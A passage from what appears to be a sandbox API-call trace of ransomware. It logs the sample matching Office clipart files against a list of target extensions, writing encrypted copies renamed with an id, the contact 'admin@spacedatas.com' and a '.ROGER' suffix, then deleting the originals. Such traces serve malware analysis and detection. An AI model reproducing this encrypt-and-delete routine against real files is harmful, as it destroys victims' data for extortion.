(lpString1=".zip", lpString2=".WMF") returned 1 [0059.777] lstrlenW (lpString=".rar") returned 4 [0059.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.777] lstrlenW (lpString=".bz2") returned 4 [0059.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.777] lstrlenW (lpString=".7z") returned 3 [0059.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.777] lstrlenW (lpString=".dbf") returned 4 [0059.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.777] lstrlenW (lpString=".1cd") returned 4 [0059.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.777] lstrlenW (lpString=".jpg") returned 4 [0059.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.777] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.777] lstrlenW (lpString="AN04326_.WMF") returned 12 [0059.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0059.778] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3348) returned 1 [0059.778] CloseHandle (hObject=0x3e0) returned 1 [0059.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0059.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0059.778] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.778] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0059.778] GetLastError () returned 0x0 [0059.778] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xd14, lpOverlapped=0x0) returned 1 [0059.867] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0059.868] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.868] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.868] SetEndOfFile (hFile=0x39c) returned 1 [0059.868] CloseHandle (hObject=0x39c) returned 1 [0059.868] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.868] SetEndOfFile (hFile=0x3e0) returned 1 [0059.869] CloseHandle (hObject=0x3e0) returned 1 [0059.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0059.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString=".doc") returned 4 [0059.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString=".docx") returned 5 [0059.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.870] lstrlenW (lpString=".pdf") returned 4 [0059.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString=".xls") returned 4 [0059.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.870] lstrlenW (lpString=".xlsx") returned 5 [0059.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.870] lstrlenW (lpString=".ppt") returned 4 [0059.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString=".zip") returned 4 [0059.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.870] lstrlenW (lpString=".rar") returned 4 [0059.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString=".bz2") returned 4 [0059.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString=".7z") returned 3 [0059.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString=".dbf") returned 4 [0059.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString=".1cd") returned 4 [0059.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString=".jpg") returned 4 [0059.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.870] lstrlenW (lpString=".doc") returned 4 [0059.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.871] lstrlenW (lpString=".docx") returned 5 [0059.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.871] lstrlenW (lpString=".pdf") returned 4 [0059.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.871] lstrlenW (lpString=".xls") returned 4 [0059.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.871] lstrlenW (lpString=".xlsx") returned 5 [0059.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.871] lstrlenW (lpString=".ppt") returned 4 [0059.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.871] lstrlenW (lpString=".zip") returned 4 [0059.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.871] lstrlenW (lpString=".rar") returned 4 [0059.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.871] lstrlenW (lpString=".bz2") returned 4 [0059.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.871] lstrlenW (lpString=".7z") returned 3 [0059.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.871] lstrlenW (lpString=".dbf") returned 4 [0059.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.871] lstrlenW (lpString=".1cd") returned 4 [0059.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0059.871] lstrlenW (lpString=".jpg") returned 4 [0059.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.871] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.871] lstrlenW (lpString="AN04369_.WMF") returned 12 [0059.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0059.872] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4808) returned 1 [0059.872] CloseHandle (hObject=0x3e0) returned 1 [0059.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0059.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0059.872] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.872] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0059.872] GetLastError () returned 0x0 [0059.872] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0059.926] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0059.927] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.927] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.927] SetEndOfFile (hFile=0x39c) returned 1 [0059.927] CloseHandle (hObject=0x39c) returned 1 [0059.927] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.927] SetEndOfFile (hFile=0x3e0) returned 1 [0059.928] CloseHandle (hObject=0x3e0) returned 1 [0059.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0059.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.929] lstrlenW (lpString=".doc") returned 4 [0059.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.929] lstrlenW (lpString=".docx") returned 5 [0059.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.929] lstrlenW (lpString=".pdf") returned 4 [0059.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.929] lstrlenW (lpString=".xls") returned 4 [0059.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.929] lstrlenW (lpString=".xlsx") returned 5 [0059.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.929] lstrlenW (lpString=".ppt") returned 4 [0059.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.929] lstrlenW (lpString=".zip") returned 4 [0059.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.929] lstrlenW (lpString=".rar") returned 4 [0059.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.929] lstrlenW (lpString=".bz2") returned 4 [0059.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.929] lstrlenW (lpString=".7z") returned 3 [0059.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.929] lstrlenW (lpString=".dbf") returned 4 [0059.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.929] lstrlenW (lpString=".1cd") returned 4 [0059.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.929] lstrlenW (lpString=".jpg") returned 4 [0059.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.930] lstrlenW (lpString=".doc") returned 4 [0059.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString=".docx") returned 5 [0059.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.930] lstrlenW (lpString=".pdf") returned 4 [0059.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString=".xls") returned 4 [0059.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.930] lstrlenW (lpString=".xlsx") returned 5 [0059.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.930] lstrlenW (lpString=".ppt") returned 4 [0059.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.930] lstrlenW (lpString=".zip") returned 4 [0059.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.930] lstrlenW (lpString=".rar") returned 4 [0059.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString=".bz2") returned 4 [0059.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString=".7z") returned 3 [0059.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.930] lstrlenW (lpString=".dbf") returned 4 [0059.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.930] lstrlenW (lpString=".1cd") returned 4 [0059.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0059.930] lstrlenW (lpString=".jpg") returned 4 [0059.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.931] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.931] lstrlenW (lpString="BD00116_.WMF") returned 12 [0059.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0059.940] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4870) returned 1 [0059.940] CloseHandle (hObject=0x3e0) returned 1 [0059.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0059.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0059.941] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.941] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0059.941] GetLastError () returned 0x0 [0059.941] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1306, lpOverlapped=0x0) returned 1 [0060.270] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1310, lpOverlapped=0x0) returned 1 [0060.271] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.271] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.271] SetEndOfFile (hFile=0x39c) returned 1 [0060.271] CloseHandle (hObject=0x39c) returned 1 [0060.271] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.271] SetEndOfFile (hFile=0x3e0) returned 1 [0060.272] CloseHandle (hObject=0x3e0) returned 1 [0060.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0060.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.965] lstrlenW (lpString=".doc") returned 4 [0060.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.965] lstrlenW (lpString=".docx") returned 5 [0060.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.965] lstrlenW (lpString=".pdf") returned 4 [0060.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.965] lstrlenW (lpString=".xls") returned 4 [0060.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.965] lstrlenW (lpString=".xlsx") returned 5 [0060.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.965] lstrlenW (lpString=".ppt") returned 4 [0060.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.965] lstrlenW (lpString=".zip") returned 4 [0060.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.965] lstrlenW (lpString=".rar") returned 4 [0060.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.965] lstrlenW (lpString=".bz2") returned 4 [0060.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.965] lstrlenW (lpString=".7z") returned 3 [0060.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.965] lstrlenW (lpString=".dbf") returned 4 [0060.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.966] lstrlenW (lpString=".1cd") returned 4 [0060.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.966] lstrlenW (lpString=".jpg") returned 4 [0060.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.966] lstrlenW (lpString=".doc") returned 4 [0060.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString=".docx") returned 5 [0060.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.966] lstrlenW (lpString=".pdf") returned 4 [0060.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString=".xls") returned 4 [0060.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.966] lstrlenW (lpString=".xlsx") returned 5 [0060.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.966] lstrlenW (lpString=".ppt") returned 4 [0060.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.966] lstrlenW (lpString=".zip") returned 4 [0060.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.966] lstrlenW (lpString=".rar") returned 4 [0060.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString=".bz2") returned 4 [0060.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString=".7z") returned 3 [0060.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0060.966] lstrlenW (lpString=".dbf") returned 4 [0060.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.966] lstrlenW (lpString="C:\\Program Files\\Microsoft 